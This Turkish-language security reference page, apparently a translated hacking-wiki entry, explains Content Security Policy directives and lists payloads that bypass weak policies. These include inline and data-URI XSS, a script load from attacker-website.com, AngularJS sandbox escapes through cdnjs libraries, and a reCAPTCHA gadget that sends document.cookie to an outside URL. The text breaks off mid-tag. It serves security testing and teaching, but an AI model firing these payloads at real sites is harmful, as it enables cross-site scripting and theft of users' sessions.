Content Security Policy (CSP) Bypass

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!

CSP Nedir

Content Security Policy (CSP), esasen cross-site scripting (XSS) gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve eval, setTimeout veya setInterval gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.

CSP'nin uygulanması, yanıt başlıkları aracılığıyla veya HTML sayfasına meta öğeleri ekleyerek gerçekleştirilir. Bu politikayı izleyerek, tarayıcılar bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.

• Yanıt başlığı aracılığıyla uygulanmıştır:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• Meta etiketi aracılığıyla uygulandı:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP, bu başlıklar kullanılarak zorlanabilir veya izlenebilir:

• Content-Security-Policy: CSP'yi zorlar; tarayıcı herhangi bir ihlali engeller.

• Content-Security-Policy-Report-Only: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.

Defining Resources

CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve eval() kullanımı gibi yönleri kontrol eder. Bir örnek politika:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktifler

• script-src: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil.

• default-src: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.

• child-src: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.

• connect-src: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.

• frame-src: Çerçeveler için URL'leri kısıtlar.

• frame-ancestors: Geçerli sayfayı gömebilecek kaynakları belirtir, <frame>, <iframe>, <object>, <embed> ve <applet> gibi öğelere uygulanır.

• img-src: Resimler için izin verilen kaynakları tanımlar.

• font-src: @font-face kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.

• manifest-src: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.

• media-src: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.

• object-src: <object>, <embed> ve <applet> öğeleri için izin verilen kaynakları tanımlar.

• base-uri: <base> öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir.

• form-action: Form gönderimleri için geçerli uç noktaları listeler.

• plugin-types: Bir sayfanın çağırabileceği mime türlerini kısıtlar.

• upgrade-insecure-requests: Tarayıcılara HTTP URL'lerini HTTPS olarak yeniden yazmalarını talimat verir.

• sandbox: <iframe>'in sandbox niteliğine benzer kısıtlamalar uygular.

• report-to: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.

• worker-src: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.

• prefetch-src: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.

• navigate-to: Bir belgenin herhangi bir şekilde (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.

Kaynaklar

• *: data:, blob:, filesystem: şemaları dışındaki tüm URL'lere izin verir.

• 'self': Aynı alan adından yüklemeye izin verir.

• 'data': Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler).

• 'none': Herhangi bir kaynaktan yüklemeyi engeller.

• 'unsafe-eval': eval() ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.

• 'unsafe-hashes': Belirli satır içi olay işleyicilerini etkinleştirir.

• 'unsafe-inline': Satır içi <script> veya <style> gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.

• 'nonce': Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.

• JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür doc.defaultView.top.document.querySelector("[nonce]") ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:

• 'sha256-<hash>': Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.

• 'strict-dynamic': Bir nonce veya hash ile beyaz listeye alındıysa, herhangi bir kaynaktan script yüklenmesine izin verir.

• 'host': example.com gibi belirli bir hostu belirtir.

• https:: URL'leri yalnızca HTTPS kullananlarla kısıtlar.

• blob:: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.

• filesystem:: Kaynakların dosya sisteminden yüklenmesine izin verir.

• 'report-sample': İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).

• 'strict-origin': 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).

• 'strict-origin-when-cross-origin': Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.

• 'unsafe-allow-redirects': Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.

Güvensiz CSP Kuralları

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Çalışan yük: "/><script>alert(1);</script>

self + 'unsafe-inline' Iframe'lar aracılığıyla

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Çalışan yük:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Eğer bir şekilde izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturabiliyorsa ve bu izin verilen script onu oluşturuyorsa, yeni script etiketi çalıştırılmaya izin verilecektir.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Çalışan yük:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Object-src ve default-src eksikliği

Content-Security-Policy: script-src 'self' ;

Çalışan yükler:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Dosya Yükleme + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:

Çalışan yük:

"/>'><script src="/uploads/picture.png.js"></script>

Ancak, sunucunun yüklenen dosyayı doğrulama olasılığı yüksektir ve yalnızca belirli türde dosyaların yüklenmesine izin verecektir.

Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde JS kodu yükleyebilseniz bile (örneğin: script.png), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, dosyanın MIME türünü uzantıya göre seçer ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu çalıştırmayı reddeder. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla Apache, .wave uzantısını bilmez, bu nedenle onu MIME türü olarak audio/ ile sunmaz.

Buradan, bir XSS ve dosya yüklemesi bulursanız ve yanlış yorumlanan bir uzantı bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script'in içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz (bazı polyglot örnekleri burada).

Form-action

JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini bir form eylemi enjekte ederek dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bu raporda bir örnek bulabilirsiniz. Ayrıca, default-src'nin form eylemlerini kapsamadığını unutmayın.

Üçüncü Taraf Uç Noktaları + ('unsafe-eval')

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Bir açık sürümünü yükleyin angular ve keyfi JS çalıştırın:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + window nesnesini döndüren fonksiyonlar içeren bir kütüphane kullanarak Payload'lar (bu yazıya göz atın):

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS bir sınıf adından:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JS kodunu kötüye kullanma

bu CTF yazısına göre, CSP içinde https://www.google.com/recaptcha/ kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script